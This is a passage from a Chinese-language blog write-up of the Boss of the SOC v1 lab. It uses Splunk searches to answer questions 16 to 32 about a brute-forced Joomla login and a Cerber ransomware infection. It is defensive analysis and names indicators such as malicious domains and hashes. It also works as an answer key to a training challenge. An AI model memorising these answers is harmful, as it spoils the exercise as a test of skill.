53 74 65 76 65 20 42 72 61 6e 74 27 73 20 42 65 61 72 64 20 69 73 20 61 20 70 6f 77 65 72 66 75 6c 20 74 68 69 6e 67 2e 20 46 69 6e 64 20 74 68 69 73 20 6d 65 73 73 61 67 65 20 61 6e 64 20 61 73 6b 20 68 69 6d 20 74 6f 20 62 75 79 20 79 6f 75 20 61 20 62 65 65 72 21 21 21</p></blockquote><hr><blockquote><p>Q16 : Web Defacement: One of Po1s0n1vy’s staged domains has some disjointed “unique” whois information. Concatenate the two codes together and submit them as a single answer.</p></blockquote><p>題目說Po1s0n1vy 暫時架設的 domain 當中包含兩段分開出現的「唯一代碼／字串」，把那兩段代碼 串接成一個單一答案 提交</p><p>我們在 Q13 時用 VirusTotal 掃描這個 IP 它之前關聯的 domain，總共有以下 domain</p><ul><li><a href="https://www.virustotal.com/gui/domain/waynecorpnc.com">waynecorpnc.com</a></li><li><a href="https://www.virustotal.com/gui/domain/ec2-23-22-63-114.compute-1.amazonaws.com">ec2-23-22-63-114.compute-1.amazonaws.com</a></li><li><a href="https://www.virustotal.com/gui/domain/po1s0n1vy.com">po1s0n1vy.com</a></li><li><a href="https://www.virustotal.com/gui/domain/prankglassinebracket.jumpingcrab.com">prankglassinebracket.jumpingcrab.com</a></li></ul><p>我們每個都可以用 <a href="https://www.whoxy.com/">whoxy</a> 查看</p><p>答案會在 waynecorpnc.com 中，但是現在已經找不到該domain 的詳細資訊了，所以我參考了其他人的 <a href="https://jk105.gitlab.io/infosec/post/cyberdefenders_bossofthesoc1/">writeup</a> ，答案會在 company_name 與 mailing_address 中</p><p><img src="/assets/WtVuDsZjlmCcFeKZBQgGG1m9D1Q4AxkQUE14DMKXGyQ=.png"></p><p>source : <a href="https://jk105.gitlab.io/infosec/post/cyberdefenders/_bossofthesoc1/">https://jk105.gitlab.io/infosec/post/cyberdefenders\_bossofthesoc1/</a></p><blockquote><p>ans : 31 73 74 32 66 69 6E 64 67 65 74 73 66 72 65 65 62 65 65 72 66 72 6F 6D 72 79 61 6E 66 69 6E 64 68 69 6D 74 6F 67 65 74</p></blockquote><hr><blockquote><p>Q17 : Web Defacement: One of the passwords in the brute force attack is James Brodsky’s favorite Coldplay song. Hint: we are looking for a six-character word on this one. Which is it?</p></blockquote><p>這題問的是爆破的密碼中有一個是James Brodsky’s favorite Coldplay song ，要找出那個密碼</p><p>這題我們可以嘗試使用 splunk 的 lookup 功能，Splunk 的 lookup 是一種 查表功能，可以把外部資源（例如 CSV、KV Store 或自定義資料表）中的欄位值與事件資料中的欄位做匹配，然後把匹配到的欄位值加入到事件資料中以豐富資料內容</p><p>首先我們需要先獲得 Coldplay 的所有歌，<a href="https://www.kaggle.com/datasets/faizalkarim/coldplay-albums-and-live-shows?resource=download">Kaggle</a> 網站中有人有整理出來，可以免費下載</p><p>接下來我們要匯入到 splunk 中，選擇Settings-&gt;Lookups</p><p><img src="/assets/f64hU00irMb4r15CevzuVfxGo5GDplea9MF5hR1EW_k=.png"></p><p>進入 Lookups頁面後我們要先新增 Lookup table ，點擊第一個的Add new ，將剛剛的下載的 csv 檔丟入</p><p><img src="/assets/GO9IRY2LEw4QVueocZcCQ4VzvW_07CVq43nxzCHRE9E=.png"></p><p>按下Save 之後要記得改權限，預設應該是Private ，要記得改成 Global 。</p><p><img src="/assets/hdByWKZlYlj9uE6aR6GQoe0yw7eLo6UMe5vtUKEzvNI=.png"></p><p>接下來要定義這個表的路徑以及欄位輸出方式</p><p>點選 Lookups 的首頁的第二行Add new ，接下來去指定剛剛丟進去的 csv 表，要記得開啟進階選項把 Case sensitive match 取消勾選</p><p><img src="/assets/3bznzUqDU1ujXoEwOpSRUXmT3yqzy7peIVtO-D2qjuI=.png"></p><p>接下來就可以回到search 頁面使用 lookup 語法，匹配欄位資料</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=botsv1 <span class="attribute">dest_ip</span>=192.168.250.70 <span class="attribute">sourcetype</span>=stream:http <span class="attribute">http_method</span>=POST <span class="attribute">uri</span>=/joomla/administrator/index.php</span><br><span class="line">| rex <span class="attribute">field</span>=form_data <span class="string">&quot;passwd=(?&lt;pass&gt;\w+)&quot;</span></span><br><span class="line">| lookup Coldplay name as pass output duration</span><br><span class="line">| search <span class="attribute">duration</span>=*</span><br><span class="line">| table pass duration</span><br></pre></td></tr></table></figure><p>lookup 的語法解說如下</p><ul><li>lookup Coldplay：呼叫名為 Coldplay 的 lookup 表格</li><li>name as pass：將當前搜尋結果中的pass欄位對應到對應表的name欄位</li><li>output duration：從 lookup 表格輸出 duration 欄位至事件資料</li></ul><p>而加上search duration&#x3D;* 是因為只有被對應到的 pass 會出現duration，因此加上這個保證出來的會是匹配到的</p><p><img src="/assets/mW7xHnpiq_iqPlDT21PsoZceDyLPkD1CwssxulNkPlk=.png"></p><p>題目提示是六個字，因此是答案是yellow </p><blockquote><p>ans : yellow</p></blockquote><hr><blockquote><p>Q18 : Web Defacement: What was the average password length used in the password brute-forcing attempt? (Round to a closest whole integer. For example “5” not “5.23213”)</p></blockquote><p>題目想要我們計算出所有嘗試的密碼長度</p><p>要計算 password 的平均長度，我們會需要使用到 eval 與 stats 幫助我們計算，eval 提供了基本的運算操作以及豐富的函式，<a href="https://help.splunk.com/en/splunk-cloud-platform/search/search-reference/10.0.2503/search-commands/eval">官方doc</a></p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=botsv1 <span class="attribute">dest_ip</span>=192.168.250.70 <span class="attribute">sourcetype</span>=stream:http <span class="attribute">http_method</span>=POST <span class="attribute">uri</span>=/joomla/administrator/index.php</span><br><span class="line">| rex <span class="attribute">field</span>=form_data <span class="string">&quot;passwd=(?&lt;pass&gt;\w+)&quot;</span></span><br><span class="line">| eval length = len(pass) </span><br><span class="line">| stats avg(length) as avglength </span><br><span class="line">| eval rounded = round(avglength, 0)</span><br></pre></td></tr></table></figure><p>我們將pass提取出來後，使用len計算每一個pass 的長度，接下來用stats 提供的avg 計算所有欄位的平均長度，最後在使用 eval 的 round 幫我們做四捨五入操作</p><p><img src="/assets/2c1yATfALElIHxDzSUF1GHSVnCVk0OjI8U-DAjAv5Ic=.png"></p><p>答案計算出來為 6</p><blockquote><p>ans : 6</p></blockquote><hr><blockquote><p>Q19 : Web Defacement: How many seconds elapsed between the brute force password scan identified the correct password and the compromised login? Round to 2 decimal places.</p></blockquote><p>題目想要問識別出正確密碼到被成功登入之間經過了多少秒</p><p>我們在 Q9 得知了被爆破出來的密碼是 batman，因此我們先用 search 語法將 batman 密碼的請求先篩出來</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=botsv1 <span class="attribute">dest_ip</span>=192.168.250.70 <span class="attribute">sourcetype</span>=stream:http <span class="attribute">http_method</span>=POST <span class="attribute">uri</span>=/joomla/administrator/index.php</span><br><span class="line">| rex <span class="attribute">field</span>=form_data <span class="string">&quot;passwd=(?&lt;pass&gt;\w+)&quot;</span></span><br><span class="line">| search <span class="attribute">pass</span>=<span class="string">&quot;batman&quot;</span></span><br></pre></td></tr></table></figure><p><img src="/assets/5_9NUx3oXQErFGjdK89pTRrJncTrI3r-dr5iQhHBAsw=.png"></p><p>Time 欄位相減的秒數為 92.17</p><blockquote><p>ans : 92.17</p></blockquote><hr><blockquote><p>Q20 : Web Defacement: How many unique passwords were attempted in the brute force attempt?</p></blockquote><p>題目想要問攻擊者嘗試了多少種密碼</p><p>這邊我們可以使用 stats 當中 dc 這個函式，dc 是 Splunk 中的去重計數函式 ，全稱為 “distinct count”</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=botsv1 <span class="attribute">dest_ip</span>=192.168.250.70 <span class="attribute">sourcetype</span>=stream:http <span class="attribute">http_method</span>=POST <span class="attribute">uri</span>=/joomla/administrator/index.php</span><br><span class="line">| rex <span class="attribute">field</span>=form_data <span class="string">&quot;passwd=(?&lt;pass&gt;\w+)&quot;</span></span><br><span class="line">| stats dc(pass) as <span class="string">&quot;attempt&quot;</span></span><br></pre></td></tr></table></figure><p><img src="/assets/9iSpRiZZHUassgH2fFCF0IJr92jRFOeNS3pBWP3zcyA=.png"></p><p>答案出來為412</p><blockquote><p>ans : 412</p></blockquote><blockquote><p>Q21 : Ransomware: What fully qualified domain name (FQDN) makes the Cerber ransomware attempt to direct the user to at the end of its encryption phase?</p></blockquote><p>題目敘述說惡意程式會讓使用者嘗試去請求 domain ，要找出FQDN</p><p>我想要先知道內部有哪些 IP 有在進行 DNS 查詢</p><figure class="highlight axapta"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">index</span>=<span class="string">&quot;botsv1&quot;</span> sourcetype=<span class="string">&quot;stream:dns&quot;</span></span><br><span class="line">| table src_ip</span><br><span class="line">| stats <span class="keyword">count</span> <span class="keyword">by</span> src_ip</span><br></pre></td></tr></table></figure><p><img src="/assets/sYm2KnhgFYCkdM9sQJ_4SWm4Wfc7Cdngvk7lwpW0Jp8=.png"></p><p>這邊知道192.168.2.50、192.168.250.100、192.168.250.20、192.168.250.40、192.168.250.70 這些內部 IP 有在進行 DNS 查詢，接下來我先看192.168.250.0&#x2F;24 內 IP 查詢了哪些 domain，</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=<span class="string">&quot;botsv1&quot;</span> <span class="attribute">sourcetype</span>=<span class="string">&quot;stream:dns&quot;</span> <span class="attribute">src_ip</span>=192.168.250.0/24 </span><br><span class="line">| table  src_ip,dest_ip,query&#123;&#125;</span><br></pre></td></tr></table></figure><p><img src="/assets/OMbF3JUJiANeRWwDsBVF2A-In4u5w0v0fjWPRff2WmE=.png"></p><p>接下來會有很多其他的 DNS 記錄出來 我們可以點擊不可能是答案的 FQDN ，然後選擇 Exclude from result ，然後它就會在 Search 欄位中自動產出將此FQDN 排除查詢的語法。</p><p><img src="/assets/IoBJChn4M4fthuMfAPQoc1e6b4G-eXwv6hstSV2nq_M=.png"></p><p>經過層層篩選後最後查詢如下</p><figure class="highlight erlang-repl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">index=<span class="string">&quot;botsv1&quot;</span> sourcetype=<span class="string">&quot;stream:dns&quot;</span> src_ip=<span class="number">192.168</span>.<span class="number">250.0</span>/<span class="number">24</span>  <span class="string">&quot;query&#123;&#125;&quot;</span>!=<span class="string">&quot;*.in-addr.arpa&quot;</span> <span class="string">&quot;query&#123;&#125;&quot;</span>!=<span class="string">&quot;demo-01&quot;</span>  <span class="string">&quot;query&#123;&#125;&quot;</span>!=<span class="string">&quot;*.authdns.ripe.net&quot;</span>  <span class="string">&quot;query&#123;&#125;&quot;</span>!=<span class="string">&quot;*.microsoft.com&quot;</span> <span class="string">&quot;query&#123;&#125;&quot;</span>=*.*.* <span class="string">&quot;query&#123;&#125;&quot;</span>!=<span class="string">&quot;*.waynecorpinc.local&quot;</span>  <span class="string">&quot;query&#123;&#125;&quot;</span>!=<span class="string">&quot;dns.msftncsi.com&quot;</span>  <span class="string">&quot;query&#123;&#125;&quot;</span>!=<span class="string">&quot;*.globalrootservers.net&quot;</span> </span><br><span class="line">| table  src_ip,dest_ip,query&#123;&#125;</span><br></pre></td></tr></table></figure><p><img src="/assets/jzPkKSf2XPhZ_kdZBN_vHdWs9SodRqw0Hdol4W8JsjY=.png"></p><p>這邊可以看到 cerberhhyed5frqa.xmfir0.win 這個 FQDN，而這個網址在情境的圖片上有出現，因此是這題的答案</p><blockquote><p>ans : cerberhhyed5frqa.xmfir0.win</p></blockquote><hr><blockquote><p>Q22 : Ransomware: What was the most likely IP address of we8105desk in 24AUG2016?</p></blockquote><p>題目想要問 we8105desk 這個 host 它最有可能的 IP 位置是什麼，時間限制在2016&#x2F;08&#x2F;24 中</p><p>首先先來調整時間，選擇時間並選擇 DataRange，調整為查詢08&#x2F;24&#x2F;2016 到 08&#x2F;25&#x2F;2016這段時間的資料</p><p><img src="/assets/l1jatLA2J8_nIfT-W0ySlWGVeQuBHTsKq6ZrZNWqTms=.png"></p><p>接下來查詢 host 為 we8105desk 的 source IP 記錄，因為是查詢 Sysmon 來源的關係所以是使用 SourceIp 當作查詢來源 IP</p><figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">index=botsv1 host=we8105desk source=<span class="title class_">WinEventLog</span><span class="symbol">:Microsoft-Windows-Sysmon/Operational</span></span><br><span class="line">|<span class="params"> stats count by SourceIp </span></span><br><span class="line"><span class="params"></span>| sort -count</span><br></pre></td></tr></table></figure><p><img src="/assets/ZXDBGmZerwfzhgg20VYhTIab7F3el5JViBuBlzlz1qk=.png"></p><p>這邊可以看到答案是 192.168.250.100</p><blockquote><p>ans : 192.168.250.100</p></blockquote><hr><blockquote><p>Q23 : Ransomware: Amongst the Suricata signatures that detected the Cerber malware, which one alerted the fewest number of times? Submit ONLY the signature ID value as the answer. (No punctuation, just 7 integers.)</p></blockquote><p>這題想要問 Suricata 產生的警報，當中關於 Cerber malware 出現最少的 signature 是哪一個</p><p>可以用以下的語法查詢，將 signature 與 signature_id 抓出來</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=botsv1 <span class="attribute">sourcetype</span>=suricata Cerber </span><br><span class="line">| table alert.signature alert.signature_id</span><br></pre></td></tr></table></figure><p><img src="/assets/SUW4b8xNVYYgib6Y3L8SLD1NeyFdmlv0pC-9KT0GKzc=.png"></p><p>可以很明顯的看到 <code>ETPRO TROJAN Ransomware/Cerber Checkin 2</code> 這個 signature 只出現一次，而它的 id 為2816763 ，則為答案</p><blockquote><p>ans : 2816763</p></blockquote><hr><blockquote><p>Q24 : Ransomware: The VBScript found in question 25 launches 121214.tmp. What is the ParentProcessId of this initial launch?</p></blockquote><p>這題需要先Q25，可以先去看 Q25 的解題過程</p><p>題目敘述說在Q25 找到 關於VBScript 是 121214.tmp被執行了，請問啟動這個VBScript 的父進程 ID 是什麼？</p><p>可以先將ParentImage、ParentProcessId以及CommandLine 抓出來查看</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=botsv1 <span class="attribute">sourcetype</span>=xmlwineventlog *.vbs</span><br><span class="line">| table ParentImage ParentProcessId CommandLine</span><br></pre></td></tr></table></figure><p><img src="/assets/cn-02vrj7Ro2hRDX_3l34zNpoDpJ3d--i0_5yj-7Lyo=.png"></p><p>這邊可以很清楚的看到啟動121214.tmp 的父進程是 wscript.exe ，它的ID 為3968，這正是我們的答案</p><blockquote><p>ans : 3968</p></blockquote><hr><blockquote><p>Q25 : Ransomware: During the initial Cerber infection a VB script is run. The entire script from this execution, pre-pended by the name of the launching .exe, can be found in a field in Splunk. What is the length in characters of the value of this field?</p></blockquote><p>題目敘述說當 Cerber 惡意程式執行時，初始會先執行 VB script，而這個 VB script 的產生包含前面啟動它的 exe 檔 可以在 Splunk 的其中一個欄位找到，最後問這個欄位裡面的值總共有多少 characters</p><p>看到題目敘述，可以直接聯想到的是 CommandLine 欄位，所以我們先把 EventLog 的 CommandLine 欄位抓出來，並且限制檔名為 .vbs</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=botsv1 <span class="attribute">sourcetype</span>=xmlwineventlog *.vbs</span><br><span class="line">| table CommandLine</span><br></pre></td></tr></table></figure><p><img src="/assets/48ggord4P-7U5Euy77ESb7wgPZPyzklMo8loEzzXW_M=.png"></p><p>可以看到下面一大串的 cmd.exe…….. 並且後面接 <code>GSI=%APPDATA%\%RANDOM%.vbs</code> 這邊就可以確定是題目所說。</p><p>接下來要計算裡面有多少字元，使用的是 eval 的 len 函式</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=botsv1 <span class="attribute">sourcetype</span>=xmlwineventlog *.vbs</span><br><span class="line">| eval <span class="attribute">cmdlenght</span>=len(CommandLine)</span><br><span class="line">| table CommandLine cmdlenght</span><br></pre></td></tr></table></figure><p><img src="/assets/NsHJjeRVHk2NQIl9gw8oRwmXM2WSI3lcQOAvMZljaoU=.png"></p><p>這邊它幫我們計算出答案為4490</p><blockquote><p>ans : 4490</p></blockquote><hr><blockquote><p>Q26 : Ransomware: The malware downloads a file that contains the Cerber ransomware crypto code. What is the name of that file?</p></blockquote><p>題目敘述說惡意程式去下載一個包含 Cerber 勒索病毒加密程式碼的檔案，它的檔案名稱是什麼</p><p>我先把 192.168.250.100 (we8105desk) HTTP 的 GET 請求全部先抓下來</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=botsv1 <span class="attribute">source</span>=<span class="string">&quot;stream:http&quot;</span> <span class="attribute">src_ip</span>=192.168.250.100 <span class="attribute">http_method</span>=GET</span><br><span class="line">| table  src_ip,dest_ip,site,src_headers</span><br></pre></td></tr></table></figure><p><img src="/assets/tO3hZ1-M67gHdIfdlzVWlYr4RjE5w5rVxvEXMrR_Ns4=.png"></p><p>當中最可疑的是它向 <code>solidaritedeproximite.org</code> 請求一個 mhtr.jpg 檔案</p><p>我們單獨看一下關於有包含 mhtr.jpg 的記錄</p><figure class="highlight abnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span><span class="operator">=</span>botsv1 mhtr.jpg</span><br></pre></td></tr></table></figure><p><img src="/assets/3qLVjpkrNx1j5OKEazxyKyRjn6aJd4IHKxs2-Th5SSQ=.png"></p><p>發現到有 <code>fgt_utm</code> 的記錄跳出來，在 Splunk 中通常指的是來自 FortiGate 防火牆的 Unified Threat Management 安全日誌類型的 sourcetype，用來記錄防毒、入侵防禦、網頁過濾等安全事件。</p><p>我們使用 fgt_utm 記錄，並把 filename,msg,analyticscksum 欄位抓出來</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=botsv1 <span class="attribute">sourcetype</span>=<span class="string">&quot;fgt_utm&quot;</span> mhtr.jpg</span><br><span class="line">| table filename,msg,analyticscksum</span><br></pre></td></tr></table></figure><p><img src="/assets/wX3qtK3vMoJ_wBsisJ0D4TGBsSh3WWWES9-kVGMwxwM=.png"></p><p>可以看到它偵測 mhtr.jpg 為惡意檔案，並且有 sha256 給我們，我們將它丟入 <a href="https://www.virustotal.com/gui/file/9c1cabc16826273ad69f59af06f12fe6484e2eb0b5d3c87a690993934675e459">VirusTotal</a></p><p><img src="/assets/KjYcIdDLUwD5_-oBYnxh2l1kwJn7bt6Nrmb71pDr14E=.png"></p><p>可以看到它是惡意程式，那 mhtr.jpg 就是我們的答案</p><blockquote><p>ans : mhtr.jpg</p></blockquote><hr><blockquote><p>Q27 : Ransomware: Now that you know the name of the ransomware’s encryptor file, what obfuscation technique does it likely use?</p></blockquote><p>題目問 mhtr.jpg 使用了何種混淆技術</p><p>jpg 可以被辨識出惡意程式，有很大的可能使用了隱寫術 (Steganography)，將惡意程式隱藏在圖片中，因此答案就是 Steganography</p><blockquote><p>ans : Steganography</p></blockquote><hr><blockquote><p>Q28 : Ransomware: What is the name of the USB key inserted by Bob Smith?</p></blockquote><p>題目問 Bob Smith 插入的 USB 名稱是什麼</p><p>在 Splunk 中提供了一個 sourcetype，名稱為 winregistry，用來監控 Windows 註冊表 key／value 的建立、修改、刪除等操作。</p><p>另外關於 USB 的其中一個註冊表路徑會在 <code>SYSTEM\ControlSet001\USBSTOR</code>，主要用途是記錄曾經連接過的 USB 裝置資訊，例如製造商、產品、序號、FriendlyName 等等</p><p>因此我們將 <code>USBSTOR</code> 底下的 value 抓出來，並且用 dedup 將重複的 value 刪除，只保留第一筆出來的值</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=botsv1 <span class="attribute">source</span>=<span class="string">&quot;winregistry&quot;</span> <span class="attribute">host</span>=we8105desk USBSTOR</span><br><span class="line">| table registry_value_data | dedup registry_value_data</span><br></pre></td></tr></table></figure><p><img src="/assets/B7j-ZowtUGr4m3r3GkRhOsm_eHvyijuT3v9bNfFIRzM=.png"></p><p>這邊就可以看到 USB 的名稱為 MIRANDA_PRI</p><blockquote><p>ans : MIRANDA_PRI</p></blockquote><hr><blockquote><p>Q29 : Ransomware: Bob Smith’s workstation (we8105desk) was connected to a file server during the ransomware outbreak. What is the IP address of the file server?</p></blockquote><p>題目敘述 Bob Smith’s workstation 在 ransomware 執行期間去連線了 file server，請問 file server 的 IP 是什麼？</p><p>連線 file server 的 protocol 可能會有 SMB 或者 FTP，FTP 是空的，那我們可以著重去看 SMB</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=botsv1 <span class="attribute">sourcetype</span>=<span class="string">&quot;stream:smb&quot;</span> <span class="attribute">src_ip</span>=192.168.250.100</span><br><span class="line">| table dest_ip</span><br><span class="line">| dedup dest_ip</span><br></pre></td></tr></table></figure><p><img src="/assets/yOqGwKrU-ZM7IjAYNdpFOfs2S1L4Z0hW5ixVwDSsEIU=.png"></p><p>接下來要再更確認一點，file server 可能會進行登入，因此我們加上 login&#x3D;”bob.smith”</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=botsv1 <span class="attribute">sourcetype</span>=<span class="string">&quot;stream:smb&quot;</span> <span class="attribute">src_ip</span>=192.168.250.100 <span class="attribute">login</span>=<span class="string">&quot;bob.smith&quot;</span></span><br><span class="line">| table dest_ip</span><br><span class="line">| dedup dest_ip</span><br></pre></td></tr></table></figure><p><img src="/assets/9yawfJ9r2QGw0qUBPTIYITVz6gXLxAQGGFcAJeFblNM=.png"></p><p>這樣就確定了 192.168.250.20 是 file server </p><blockquote><p>ans : 192.168.250.20</p></blockquote><hr><blockquote><p>Q30 : Ransomware: How many distinct PDFs did the ransomware encrypt on the remote file server?</p></blockquote><p>題目問有多少個遠端 pdf 被加密了</p><p>我們在上一題知道 file server 的 IP 為 192.168.250.20，我們另外先拿一下它的 domain name</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=botsv1 <span class="attribute">sourcetype</span>=<span class="string">&quot;stream:smb&quot;</span> <span class="attribute">src_ip</span>=192.168.250.100 <span class="attribute">dest_ip</span>=192.168.250.20 <span class="attribute">path</span>=*</span><br><span class="line">| table path</span><br></pre></td></tr></table></figure><p><img src="/assets/qEWsjAJB7FUV9Mq7acGsjdBlmDRUI1hj8Kd1x4wE9uo=.png"></p><p>這邊得知了 domain name 為 we9041srv.waynecorpinc.local</p><p>首先我先搜尋 wineventlog 中有沒有關於 .pdf 的記錄</p><figure class="highlight abnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span><span class="operator">=</span>botsv1 sourcetype<span class="operator">=</span><span class="string">&quot;wineventlog&quot;</span> *.pdf</span><br></pre></td></tr></table></figure><p><img src="/assets/xJ0cOJW0DDg-M8pGh77C8_DVq-sVjUcXcwSXEbI-zOM=.png"></p><p>發現到有，並且是從 192.168.250.100 請求 we9041srv.waynecorpinc.local 的一個 pdf<br>因此我們將所有關於這個的記錄抓下來，並用 stats 中的 dc 幫我們算總共有幾個檔案</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=botsv1 <span class="attribute">sourcetype</span>=<span class="string">&quot;wineventlog&quot;</span> *.pdf  <span class="attribute">EventCode</span>=5145 <span class="attribute">Source_Address</span>=192.168.250.100</span><br><span class="line">| stats dc(Relative_Target_Name)</span><br></pre></td></tr></table></figure><p><img src="/assets/B-ZLsIdRUo5P-2poxSx5cJ8Qark7Byogq2TCf8i5JyU=.png"></p><p>總共是 257 個，則 257 為答案</p><blockquote><p>ans : 257</p></blockquote><hr><blockquote><p>Q31 : Ransomware: The Cerber ransomware encrypts files located in Bob Smith’s Windows profile. How many .txt files does it encrypt?</p></blockquote><p>這題問的是在 Bob Smith 的電腦上有多少的 .txt 檔被 ransomware 鎖起來了</p><p>首先我們先使用 Sysmon 將針對 Bob Smith 內的 .txt 的操作抓下來，並且看是哪個檔案對 .txt 操作</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">index</span>=botsv1 <span class="attribute">source</span>=<span class="string">&quot;wineventlog:microsoft-windows-sysmon/operational&quot;</span> <span class="attribute">TargetFilename</span>=<span class="string">&quot;C:\\Users\\bob.smith.WAYNECORPINC\\*.txt&quot;</span></span><br><span class="line">| table Image TargetFilename</span><br></pre></td></tr></table></figure><p><img src="/assets/aslGsxq9wbcm5wT5VeqfAuUnScwW0MXR-gC6Kb-YIZs=.png"></p><p>可以看到是有一個 osk.exe 對 .txt 檔做操作，</p><p>那我們可以 EventID&#x3D;1 去看這個 osk.exe 的 hash </p><figure class="highlight nix"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">i<span class="attr">ndex</span><span class="operator">=</span>botsv1 source<span class="operator">=</span><span class="string">&quot;wineventlog:microsoft-windows-sysmon/operational&quot;</span> EventCode<span class="operator">=</span><span class="number">1</span> Image<span class="operator">=</span><span class="string">&quot;C:<span class="char escape_">\\</span>Users<span class="char escape_">\\</span>bob.smith.WAYNECORPINC<span class="char escape_">\\</span>AppData<span class="char escape_">\\</span>Roaming<span class="char escape_">\\</span>&#123;35ACA89F-933F-6A5D-2776-A3589FB99832&#125;<span class="char escape_">\\</span>osk.exe&quot;</span></span><br></pre></td></tr></table></figure><p><img src="/assets/bGRAyITwgDbzGkIxST7PVBbBAzYcou8g5XtO2PGhEQs=.png"></p><p>得到的 MD5 hash 為 <a href="https://189ccf15-ac01-4578-b319-8cf69e039163.cyberdefenders.network/en-US/app/search/search?q=search%20index=botsv1%20source=%22wineventlog:microsoft-windows-sysmon/operational%22%20EventCode=1%20Image=%22C:%5C%5CUsers%5C%5Cbob.smith.WAYNECORPINC%5C%5CAppData%5C%5CRoaming%5C%5C%7B35ACA89F-933F-6A5D-2776-A3589FB99832%7D%5C%5Cosk.exe%22&display.page.search.mode=smart&dispatch.sample_ratio=1&workload_pool=&earliest=0&latest=now&display.page.search.tab=events&display.general.type=events&sid=1760368198.162#">EE0828A4E4C195D97313BFC7D4B531F1</a>，丟進給 <a href="https://www.virustotal.com/gui/file/37397f8d8e4b3731749094d7b7cd2cf56cacb12dd69e0131f07dd78dff6f262b">VirusTotal</a> 後</p><p><img src="/assets/wqQ9cuHeud9mqmV_is1wvugWnlvXxOlf-VlSPy-RNGE=.png"></p><p>可以確定它是惡意程式</p><p>接下來針對這個 osk.exe 去計算所有 .txt 的數量</p><p><img src="/assets/gRO7TyyW0T3ZEP7-XUY6yZMG1GJPKE-N3D7Njwya-34=.png"></p><p>答案出來為 406，則 406 為這題的答案</p><blockquote><p>ans : 406</p></blockquote><hr><blockquote><p>Q32 : Ransomware: What was the first suspicious domain visited by we8105desk in 24AUG2016?</p></blockquote><p>題目問 we8105desk 在 2016&#x2F;08&#x2F;24 時訪問了哪個可疑 domain？</p><p>我們在 Q26 中發現它會去向 <code>solidaritedeproximite.org</code> 請求 jpg 檔，而 <code>solidaritedeproximite.org</code> 則為這題的解答。</p><blockquote><p>ans : solidaritedeproximite.org</p></blockquote><hr><h1 id="總結"><a href="#總結" class="headerlink" title="總結"></a>總結</h1><p>今天分享了 Boss Of The SOC v1 的 Q1 ~ Q10 的解題過程，當中分享了一些 Splunk 的用法以及 Threat Hunting 的過程，明天會繼續分享 Boss Of The SOC v1 剩餘題目。</p>]]></content>
    
    
    <summary type="html">Boss Of The SOC v1 前10題解題過程分享，包含Splunk搜尋語法與威脅狩獵實作</summary>
    
    
    
    <category term="2025 鐵人賽" scheme="https://yunshiuan.com/categories/2025-%E9%90%B5%E4%BA%BA%E8%B3%BD/"/>
    
    
    <category term="Boss Of The SOC" scheme="https://yunshiuan.com/tags/Boss-Of-The-SOC/"/>
    
    <category term="Splunk" scheme="https://yunshiuan.com/tags/Splunk/"/>
    
